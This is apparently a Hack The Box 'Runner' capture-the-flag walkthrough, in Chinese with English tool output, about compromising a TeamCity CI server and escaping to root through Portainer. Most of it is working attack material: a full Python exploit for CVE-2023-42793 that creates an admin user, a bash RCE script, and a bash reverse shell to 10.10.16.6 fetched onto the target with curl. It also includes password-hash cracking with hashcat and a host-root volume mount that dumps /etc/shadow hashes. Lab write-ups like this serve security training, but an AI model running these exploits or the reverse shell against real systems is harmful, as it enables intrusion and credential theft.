Runner
User
Nmap
──(root㉿kali)-[/home/…/machine/SeasonV/linux/Runner]
└─# nmap -A runner.htb -T 4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-22 23:07 EDT
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 1.60% done; ETC: 23:07 (0:00:00 remaining)
Stats: 0:00:27 elapsed; 0 hosts completed (1 up), 1 undergoing Traceroute
Traceroute Timing: About 32.26% done; ETC: 23:07 (0:00:00 remaining)
Nmap scan report for runner.htb (10.129.177.97)
Host is up (0.40s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Runner - CI/CD Specialists
|_http-server-header: nginx/1.18.0 (Ubuntu)
8000/tcp open nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 - 5.4 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 554/tcp)
HOP RTT ADDRESS
1 418.59 ms 10.10.16.1
2 418.75 ms runner.htb (10.129.177.97)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.77 seconds
22,80,8000 三个外部开放端口
80跳转到runner.htb,添加hosts解析
80就是描述了一些CI|CD的信息
vhost
──(root㉿kali)-[/home/kali]
└─# gobuster vhost --append-domain -u http://runner.htb -w /usr/share/seclists/Discovery/DNS/namelist.txt --random-agent -t 600
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://runner.htb
[+] Method: GET
[+] Threads: 600
[+] Wordlist: /usr/share/seclists/Discovery/DNS/namelist.txt
[+] User Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: http://enquetes.runner.htb Status: 400 [Size: 166]
Found: http://partner.runner.htb Status: 400 [Size: 166]
Found: http://mobility.runner.htb Status: 400 [Size: 166]
Found: https://archives.runner.htb Status: 400 [Size: 166]
Found: https://assurance.runner.htb Status: 400 [Size: 166]
Found: https://mobility.runner.htb Status: 400 [Size: 166]
Found: https://collaboratif.runner.htb Status: 400 [Size: 166]
Found: https://nomade.runner.htb Status: 400 [Size: 166]
Found: https://conseil.runner.htb Status: 400 [Size: 166]
Found: https://lvelizy.runner.htb Status: 400 [Size: 166]
Found: https://ee.runner.htb Status: 400 [Size: 166]
Found: https://igc.runner.htb Status: 400 [Size: 166]
Found: https://idees.runner.htb Status: 400 [Size: 166]
Found: https://www.runner.htb Status: 400 [Size: 166]
Found: https://webpam.runner.htb Status: 400 [Size: 166]
Found: https://protocoltraining.runner.htb Status: 400 [Size: 166]
Found: https://scm.runner.htb Status: 400 [Size: 166]
Found: https://sft.runner.htb Status: 400 [Size: 166]
Found: https://partner.runner.htb Status: 400 [Size: 166]
Found: https://pam.runner.htb Status: 400 [Size: 166]
Found: https://escale.runner.htb Status: 400 [Size: 166]
Found: teamcity.runner.htb Status: 302 [Size: 0] [--> /login.html]
Progress: 151265 / 151266 (100.00%)
===============================================================
Finished
===============================================================
发现了teamcity这个 新的vhost,刚好这个应用就是做CI|CD的
teamcity-cve
┌──(root㉿kali)-[/home/kali]
└─# nuclei -tags teamcity -u teamcity.runner.htb
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.1.4
projectdiscovery.io
[INF] Current nuclei version: v3.1.4 (outdated)
[INF] Current nuclei-templates version: v9.8.5 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 142
[INF] Templates loaded for current scan: 6
[INF] Executing 6 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[teamcity-login-panel:version] [http] [info] http://teamcity.runner.htb/login.html [2023.05.3]
[teamcity-login-panel:build] [http] [info] http://teamcity.runner.htb/login.html [129390]
[CVE-2024-27199] [http] [high] http://teamcity.runner.htb/res/../admin/diagnostic.jsp
[CVE-2024-27198] [http] [critical] http://teamcity.runner.htb/hax?jsp=/app/rest/server;.jsp
发现了存在历史漏洞
CVE-2024-27198
可以添加一个新用户
Exploit:https://github.com/yoryio/CVE-2024-27198.git
RCE
Referer:JetBrains TeamCity 任意代码执行漏洞(CVE-2023-42793)研究 - 郑瀚Andrew - 博客园 (cnblogs.com)
import random
import requests
import argparse
import xml.etree.ElementTree as ET
Color_Off="\033[0m"
Black="\033[0;30m" # Black
Red="\033[0;31m" # Red
Green="\033[0;32m" # Green
Yellow="\033[0;33m" # Yellow
Blue="\033[0;34m" # Blue
Purple="\033[0;35m" # Purple
Cyan="\033[0;36m" # Cyan
White="\033[0;37m" # White
class CVE_2023_42793:
def __init__(self):
self.url = ""
self.session = requests.session()
def username(self):
name = "H454NSec"
random_id = random.randint(1000, 9999)
return f"{name}{random_id}"
def delete_user_token(self, url):
self.url = url
headers = {
"User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0",
"Content-Type": "application/x-www-form-urlencoded",
"Accept-Encoding": "gzip, deflate"
}
try:
response = self.session.delete(f"{self.url}/app/rest/users/id:1/tokens/RPC2", headers=headers, timeout=10)
if response.status_code == 204 or response.status_code == 404:
self.create_user_token()
except Exception as err:
pass
def create_user_token(self):
headers = {
"User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0",
"Accept-Encoding": "gzip, deflate"
}
try:
response = self.session.post(f"{self.url}/app/rest/users/id:1/tokens/RPC2", headers=headers, timeout=10)
if response.status_code == 200:
response_text = response.text
root = ET.fromstring(response_text)
value = root.get('value')
if value.startswith("eyJ0eXAiOiAiVENWMiJ9"):
self.create_user(value)
except Exception as err:
pass
def create_user(self, token):
uname = self.username()
headers = {
"User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0",
"Accept": "*/*",
"Authorization": f"Bearer {token}",
"Content-Type": "application/json",
}
creds = {
"email": "",
"username": uname,
"password": "@H454NSec",
"roles": {
"role": [{
"roleId": "SYSTEM_ADMIN",
"scope": "g"
}]
}
}
try:
response = self.session.post(f"{self.url}/app/rest/users", headers=headers, json=creds, timeout=10)
if response.status_code == 200:
print(f"{Green}[+] {Yellow}{self.url}/login.html {Green}[{uname}:@H454NSec]{Color_Off}")
with open("vulnerable.txt", "a") as o:
o.write(f"[{uname}:@H454NSec] {self.url}\n")
except Exception as err:
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', help='Url of the TeamCity')
parser.add_argument('-l', '--list', help='List of urls')
args = parser.parse_args()
db = []
url_list = args.list
if url_list:
try:
with open(url_list, "r") as fr:
for data in fr.readlines():
db.append(data.strip())
except Exception as err:
print(err)
elif args.url:
db.append(args.url)
cve = CVE_2023_42793()
for ip in db:
url = ip[:-1] if ip.endswith("/") else ip
if not url.startswith("https://"):
if not url.startswith("http://"):
url = f"http://{url}"
cve.delete_user_token(url)
漏洞就是存在一个未授权添加用户,并且存在一个调试接口可以执行命令,但是这个接口需要我们手动打开
- rest.debug.processes.enable
curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.SExXYUgwV0luU1NCLXBYZUpHYVNvUlR2TWE0.YmJmNDA4MGEtNjgwNy00MTYyLTliNmEtZDU4MDYyZDlkOTc3" "http://teamcity.runner.htb/admin/admin.html?item=diagnostics&tab=dataDir&file=config/internal.properties"
2.为了系统使用此选项,我们必须通过以下请求刷新服务器。
curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.SExXYUgwV0luU1NCLXBYZUpHYVNvUlR2TWE0.YmJmNDA4MGEtNjgwNy00MTYyLTliNmEtZDU4MDYyZDlkOTc3" "http://teamcity.runner.htb/admin/admin.html?item=diagnostics&tab=dataDir&file=config/internal.properties"
3.RCE
curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.SExXYUgwV0luU1NCLXBYZUpHYVNvUlR2TWE0.YmJmNDA4MGEtNjgwNy00MTYyLTliNmEtZDU4MDYyZDlkOTc3" -X POST "http://teamcity.runner.htb/app/rest/debug/processes?exePath=bash¶ms=-c whoami"
#!/bin/bash
if [ "$#" -ne 3 ]; then
echo "Usage: $0 <base_url> <port> <command>"
exit 1
fi
BASE_URL="$1"
PORT="$2"
COMMAND="$3"
TOKEN_ENDPOINT="${BASE_URL}:${PORT}/app/rest/users/id:1/tokens/RPC2"
EDIT_FILE_ENDPOINT="${BASE_URL}:${PORT}/admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true"
RCE_ENDPOINT="${BASE_URL}:${PORT}/app/rest/debug/processes?exePath=${COMMAND}"
TOKEN_RESPONSE=$(curl -X POST "$TOKEN_ENDPOINT")
BEARER_TOKEN=$(echo "$TOKEN_RESPONSE" | grep -oP 'value="\K[^"]+')
curl -s -X POST "$EDIT_FILE_ENDPOINT" -H "Authorization: Bearer ${BEARER_TOKEN}"
RESPONSE=$(curl -s -X POST "$RCE_ENDPOINT" -H "Authorization: Bearer ${BEARER_TOKEN}" | awk -F 'StdOut:|StdErr:' '{print $2}' )
curl -s -X DELETE "$TOKEN_ENDPOINT" -H "Authorization: Bearer ${BEARER_TOKEN}"
echo $RESPONSE
成功执行命令
ReverseShell
1.sh内容
bash -i>&/dev/tcp/10.10.16.6/4444 0>&1
POST /app/rest/debug/processes?exePath=curl¶ms=10.10.16.6/1.sh¶ms=-o1.sh HTTP/1.1
Host: teamcity.runner.htb
User-Agent: curl/8.5.0
Accept: */*
Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.SEhpbXppWkY4UkF3Vkd5SlpaMENPQlozY0xz.Y2RlMzliOWYtMWEwZi00NDQ5LTgzNmMtNDE1NTgyNTVhMjU4
Content-Length: 0
Connection: close
通过这个数据包把1.sh下载到目标上
docker
我们当前的shell在docker环境里面
简单尝试发现逃逸不出docker
backup
得到两个原本就在系统里面的用户名
john 和 matthew
下载下来
id_rsa
将这个backup的zip解压后,存在一个叫config文件夹里面看到了一个私钥文件
来到这一层可以看到应该是matthew 这个用户的项目,所以这个私钥大概率也是他的- -,实际操作发现认证不了matthew 但是可以认证john,所以这种时候把所有用户都进行登录尝试
Root
前面拿到的teamcity导出的备份文件,里面有一个文件夹名为 database_dump,应该是数据库的导出备份文件
可以看到这里面有用户的hash
john 和 matthew 是原生用户
matthew
matthew 的密码能解出来
──(root㉿kali)-[/home/…/machine/SeasonV/linux/Runner]
└─# hashcat -m 3200 -a 0 matthew_hash /usr/share/wordlists/rockyou.txt --show
$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em:piper123
portainer-administration.runner.htb
从nginx的配置文件中发现了一个新的vhost,指向9443端口
9443
通过ssh搭建socks代理
发现启动的服务是portainer.io,这是一个web端的docker管理应用
portainer.io
通过matthew : piper123
可以进入到系统内部
可以看到镜像列表在这里
Referer:Add a new volume | 2.19 | Portainer Documentation
通过官方文档得知我们可以创建一个挂载volumn,指向原host根目录
然后创建一个容器,使用这个volumn
创建一个volumn 指向 /
name | value |
---|---|
device | / |
o | bind |
type | none |
image就使用自带的ubuntu:latest
Console 选择interctive和TTY
挂载到 /mnt/root
可以看到我们的容器启动成功了
此时我们已经进入到了宿主host的目录,可以查看宿主机下的文件
成功拿到root
Shadow
root@77f494de963f:/mnt/root/root/.ssh# cat ../../etc/shadow
root:$y$j9T$ANKO0Lgp1HOfm5nPIRoTX.$S4tkxOzaYLCUAy8deQR/4sayinxeXoQb.nGRDMGUa30:19788:0:99999:7:::
matthew:$y$j9T$VcVx4oj6/0sr8ldYLVrdx1$xNznv.vvbyLEM8S6/YKAfPHP6hoYg3oD1MWRNovVlx/:19781:0:99999:7:::
john:$y$j9T$rpK6N7DunMYlKLZJcOzCY1$lcPx9lbvGZBnn7ip/qQDho2NCF/UsOmYc1P2Ve/y6F2:19781:0:99999:7:::
In summary
User:
vhost→teamcity → CVE-2024-27198(bypass add user)→backup→id_rsa
Root:
database_dump → metthew → portainer-administartion(vhost) → mount volumn